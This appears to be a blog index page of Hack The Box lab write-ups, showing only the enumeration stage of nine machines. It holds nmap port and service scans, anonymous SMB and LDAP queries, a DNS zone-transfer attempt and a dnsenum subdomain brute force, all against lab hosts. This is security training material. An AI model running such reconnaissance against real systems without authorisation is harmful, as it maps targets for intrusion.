nmap

└─$ nmap -Pn -p- 10.10.11.195 --min-rate 1000                                                                                                        
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-12 20:07 GMT
Warning: 10.10.11.195 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.195 (10.10.11.195)
Host is up (0.17s latency).
Not shown: 65488 closed tcp ports (conn-refused), 44 filtered tcp ports (no-response)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 79.36 seconds

└─$ nmap -Pn -p22,80,443 -sC -sV 10.10.11.195 --min-rate 1000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-12 20:09 GMT
Nmap scan report for 10.10.11.195 (10.10.11.195)
Host is up (0.23s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 df:17:c6:ba:b1:82:22:d9:1d:b5:eb:ff:5d:3d:2c:b7 (RSA)
|   256 3f:8a:56:f8:95:8f:ae:af:e3:ae:7e:b8:80:f6:79:d2 (ECDSA)
|_  256 3c:65:75:27:4a:e2:ef:93:91:37:4c:fd:d9:d4:63:41 (ED25519)
80/tcp  open  http     Apache httpd 2.4.54
|_http-title: Did not follow redirect to https://broscience.htb/
|_http-server-header: Apache/2.4.54 (Debian)
443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
| tls-alpn: 
|_  http/1.1
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after:  2023-07-14T19:48:36
|_http-server-header: Apache/2.4.54 (Debian)
|_ssl-date: TLS randomness does not represent time
|_http-title: BroScience : Home
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.41 seconds

Web Server

Monday, November 13, 2023 | 14 minutes Read

[HTB] Machine: Shibboleth

Shibboleth

Enumeration

nmap

└─$ nmap -Pn -p- 10.10.11.124 --min-rate 1000            
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-07 16:58 GMT
Warning: 10.10.11.124 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.124 (10.10.11.124)
Host is up (0.17s latency).
Not shown: 65181 closed tcp ports (conn-refused), 353 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 87.95 seconds

└─$ nmap -Pn -p80 -sC -sV 10.10.11.124 --min-rate 1000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-07 16:58 GMT
Nmap scan report for 10.10.11.124 (10.10.11.124)
Host is up (0.17s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://shibboleth.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: shibboleth.htb

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.06 seconds

└─$ sudo nmap -sU -Pn -F -sC -sV 10.10.11.124           
[sudo] password for kali: 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-08 16:42 GMT
Nmap scan report for shibboleth.htb (10.10.11.124)
Host is up (0.17s latency).
Not shown: 82 closed udp ports (port-unreach)
PORT      STATE         SERVICE       VERSION
9/udp     open|filtered discard
19/udp    open|filtered chargen
53/udp    open|filtered domain
136/udp   open|filtered profile
497/udp   open|filtered retrospect
520/udp   open|filtered route
623/udp   open          asf-rmcp
626/udp   open|filtered serialnumberd
1029/udp  open|filtered solid-mux
1900/udp  open|filtered upnp
2048/udp  open|filtered dls-monitor
5353/udp  open|filtered zeroconf
9200/udp  open|filtered wap-wsp
10000/udp open|filtered ndmp
17185/udp open|filtered wdbrpc
49181/udp open|filtered unknown
49191/udp open|filtered unknown
65024/udp open|filtered unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port623-UDP:V=7.94%I=7%D=11/8%Time=654BBACD%P=x86_64-pc-linux-gnu%r(ipm
SF:i-rmcp,1E,"\x06\0\xff\x07\0\0\0\0\0\0\0\0\0\x10\x81\x1cc\x20\x008\0\x01
SF:\x97\x04\x03\0\0\0\0\t");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 209.51 seconds

Web server

Monday, November 6, 2023 | 8 minutes Read

[HTB] Machine: Writer

Writer

Enumeration

nmap

└─$ nmap -Pn -p- 10.10.11.101 --min-rate 1000            
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-07 07:57 GMT
Nmap scan report for 10.10.11.101 (10.10.11.101)
Host is up (0.17s latency).
Not shown: 65528 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
139/tcp   open     netbios-ssn
246/tcp   filtered dsp3270
445/tcp   open     microsoft-ds
30624/tcp filtered unknown
45985/tcp filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 75.27 seconds

└─$ nmap -Pn -p22,80,139,445 -sC -sV 10.10.11.101 --min-rate 1000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-07 07:59 GMT
Nmap scan report for 10.10.11.101 (10.10.11.101)
Host is up (0.22s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -51s
| smb2-time: 
|   date: 2023-11-07T07:58:48
|_  start_date: N/A
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.47 seconds

Web Server

Monday, November 6, 2023 | 12 minutes Read

[HTB] Machine: Schooled

Schooled

Enumeration

nmap

└─$ nmap -Pn -p- 10.10.10.234 --min-rate 1000            
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-06 06:55 GMT
Warning: 10.10.10.234 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.234 (10.10.10.234)
Host is up (0.17s latency).
Not shown: 59976 closed tcp ports (conn-refused), 5556 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
33060/tcp open  mysqlx

Nmap done: 1 IP address (1 host up) scanned in 399.16 seconds

└─$ nmap -Pn -p22,80,33060 -sC -sV 10.10.10.234 --min-rate 1000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-06 08:15 GMT
Nmap scan report for 10.10.10.234 (10.10.10.234)
Host is up (0.21s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey: 
|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp    open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
|_http-title: Schooled - A new kind of educational institute
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
| http-methods: 
|_  Potentially risky methods: TRACE
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|     HY000
|   LDAPBindReq: 
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns: 
|     Invalid message-frame."
|_    HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.94%I=7%D=11/6%Time=6548A0B9%P=x86_64-pc-linux-gnu%r(N
SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp
SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers
SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2
SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI
SF:nvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")
SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\
SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY0
SF:00")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\x01\
SF:x08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20protobuf\x20me
SF:ssage\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LAN
SF:Desk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\
SF:0\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRP
SF:C,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x
SF:0fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,32,"
SF:\x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Invalid
SF:\x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10
SF:\x88'\x1a\x0fInvalid\x20message\"\x05HY000");
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.56 seconds

Web server

Thursday, November 2, 2023 | 9 minutes Read

[HTB] Machine: Cache

Cache

Enumeration

nmap

└─$ nmap -Pn -p- 10.10.10.188 --min-rate 5000 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-30 16:53 GMT
Nmap scan report for 10.10.10.188 (10.10.10.188)
Host is up (0.17s latency).
Not shown: 64028 filtered tcp ports (no-response), 1505 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 91.28 seconds

└─$ nmap -Pn -p22,80,2201 -sC -sV 10.10.10.188
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-31 15:59 GMT
Nmap scan report for 10.10.10.188 (10.10.10.188)
Host is up (0.22s latency).

PORT     STATE  SERVICE VERSION
22/tcp   open   ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_  256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp   open   http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Cache
|_http-server-header: Apache/2.4.29 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.02 seconds

Web server

Saturday, October 28, 2023 | 7 minutes Read

[HTB] Machine: Passage

Passage

Enumeration

nmap

└─$ nmap -Pn -p- 10.10.10.206 --min-rate 5000                   
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-29 19:01 GMT
Nmap scan report for 10.10.10.206 (10.10.10.206)
Host is up (0.17s latency).
Not shown: 65468 filtered tcp ports (no-response), 65 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 26.64 seconds

└─$ nmap -Pn -p22,80 -sC -sV 10.10.10.206 --min-rate 5000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-29 19:05 GMT
Nmap scan report for 10.10.10.206 (10.10.10.206)
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
|   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.01 seconds

Web server

Saturday, October 28, 2023 | 10 minutes Read

[HTB] Machine: SneakyMailer

SneakyMailer

Enumeration

nmap

└─$ nmap -Pn -p- 10.10.10.197 --min-rate 5000                 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-30 17:04 GMT
Warning: 10.10.10.197 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.197 (10.10.10.197)
Host is up (0.17s latency).
Not shown: 43759 filtered tcp ports (no-response), 21769 closed tcp ports (conn-refused)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
143/tcp  open  imap
993/tcp  open  imaps
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 119.98 seconds

└─$ nmap -Pn -p21,22,25,80,143,993,8080 -sC -sV 10.10.10.197 --min-rate 5000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-30 17:07 GMT
Nmap scan report for 10.10.10.197 (10.10.10.197)
Host is up (0.28s latency).

PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp     Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
80/tcp   open  http     nginx 1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
|_http-server-header: nginx/1.14.2
143/tcp  open  imap     Courier Imapd (released 2018)
|_imap-capabilities: QUOTA CAPABILITY completed UIDPLUS UTF8=ACCEPTA0001 ENABLE SORT IMAP4rev1 THREAD=ORDEREDSUBJECT STARTTLS CHILDREN THREAD=REFERENCES ACL2=UNION IDLE NAMESPACE OK ACL
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
993/tcp  open  ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: QUOTA CAPABILITY completed UIDPLUS UTF8=ACCEPTA0001 ENABLE AUTH=PLAIN SORT IMAP4rev1 THREAD=ORDEREDSUBJECT CHILDREN THREAD=REFERENCES ACL2=UNION IDLE NAMESPACE OK ACL
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http     nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
|_http-open-proxy: Proxy might be redirecting requests
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.51 seconds

Web server

Saturday, October 28, 2023 | 9 minutes Read

[HTB] Machine: Absolute

Absolute

Enumeration

nmap

└─$ nmap -Pn -p- 10.10.11.181 --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-03 19:44 BST
Nmap scan report for 10.10.11.181 (10.10.11.181)
Host is up (0.10s latency).
Not shown: 65509 closed ports
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49686/tcp open  unknown
49692/tcp open  unknown
49699/tcp open  unknown
49703/tcp open  unknown

└─$ nmap -Pn -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV 10.10.11.181  --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-03 19:36 BST
Nmap scan report for 10.10.11.181 (10.10.11.181)
Host is up (0.18s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Absolute
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-04 01:35:57Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-04T01:36:48+00:00; +6h59m17s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after:  2024-07-16T21:11:52
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-04T01:36:49+00:00; +6h59m17s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after:  2024-07-16T21:11:52
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after:  2024-07-16T21:11:52
|_ssl-date: 2023-10-04T01:36:48+00:00; +6h59m17s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-04T01:36:49+00:00; +6h59m17s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after:  2024-07-16T21:11:52
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-10-04T01:36:42
|_  start_date: N/A
|_clock-skew: mean: 6h59m16s, deviation: 0s, median: 6h59m16s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.79 seconds

smb

└─$ smbclient -N -L //10.10.11.181                                                               
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.181 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

ldap

└─$ ldapsearch -H ldap://dc.absolute.htb -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=absolute,DC=htb
namingcontexts: CN=Configuration,DC=absolute,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=absolute,DC=htb
namingcontexts: DC=DomainDnsZones,DC=absolute,DC=htb
namingcontexts: DC=ForestDnsZones,DC=absolute,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

└─$ ldapsearch -H ldap://dc.absolute.htb -x  -b "DC=absolute,DC=htb"  
# extended LDIF
#
# LDAPv3
# base <DC=absolute,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1

dns

└─$ dig absolute.htb @dc.absolute.htb                                                                                   

; <<>> DiG 9.18.16-1-Debian <<>> absolute.htb @dc.absolute.htb
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38236
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;absolute.htb.                  IN      A

;; ANSWER SECTION:
absolute.htb.           600     IN      A       10.10.11.181

;; Query time: 103 msec
;; SERVER: 10.10.11.181#53(dc.absolute.htb) (UDP)
;; WHEN: Wed Oct 04 17:29:51 BST 2023
;; MSG SIZE  rcvd: 57

└─$ dig axfr absolute.htb @dc.absolute.htb 

; <<>> DiG 9.18.16-1-Debian <<>> axfr absolute.htb @dc.absolute.htb
;; global options: +cmd
; Transfer failed.

dnsenum

└─$ dnsenum --dnsserver 10.10.11.181 -f /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt absolute.htb
dnsenum VERSION:1.2.6

-----   absolute.htb   -----                                                                                                                                                                                                                


Host's addresses:                                                                                                                                                                                                                           
__________________                                                                                                                                                                                                                          

absolute.htb.                            600      IN    A        10.10.11.181                                                                                                                                                               


Name Servers:                                                                                                                                                                                                                               
______________                                                                                                                                                                                                                              

dc.absolute.htb.                         1200     IN    A        10.10.11.181                                                                                                                                                               


Mail (MX) Servers:                                                                                                                                                                                                                          
___________________                                                                                                                                                                                                                         


Trying Zone Transfers and getting Bind Versions:                                                                                                                                                                                            
_________________________________________________                                                                                                                                                                                           

unresolvable name: dc.absolute.htb at /usr/bin/dnsenum line 900.                                                                                                                                                                            
                                                                                                                                                                                                                                            
Trying Zone Transfer for absolute.htb on dc.absolute.htb ... 
AXFR record query failed: no nameservers


Brute forcing with /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:                                                                                                                                                     
________________________________________________________________________________________                                                                                                                                                    
  
dc.absolute.htb.                         1200     IN    A        10.10.11.181                                                                                                                                                               
domaindnszones.absolute.htb.             600      IN    A        10.10.11.181
forestdnszones.absolute.htb.             600      IN    A        10.10.11.181

absolute.htb class C netranges:
________________________________


Performing reverse lookup on 0 ip addresses:
_____________________________________________

0 results out of 0 IP addresses.

absolute.htb ip blocks:
________________________

done.

Web Server

Wednesday, October 4, 2023 | 17 minutes Read

[HTB] Machine: Multimaster

Multimaster

Enumeration

nmap

└─$ nmap -Pn -p- 10.10.10.179 --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-08 19:46 BST
Nmap scan report for 10.10.10.179 (10.10.10.179)
Host is up (0.13s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
49666/tcp open  unknown
49667/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49678/tcp open  unknown
49698/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 45.14 seconds

└─$ nmap -Pn -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV 10.10.10.179 --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-08 19:46 BST
Nmap scan report for 10.10.10.179 (10.10.10.179)
Host is up (0.56s latency).

PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: 403 - Forbidden: Access is denied.
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2023-10-08 18:52:31Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
445/tcp  open               Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGACORP)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf       .NET Message Framing
Service Info: Host: MULTIMASTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h26m16s, deviation: 4h02m30s, median: 6m16s
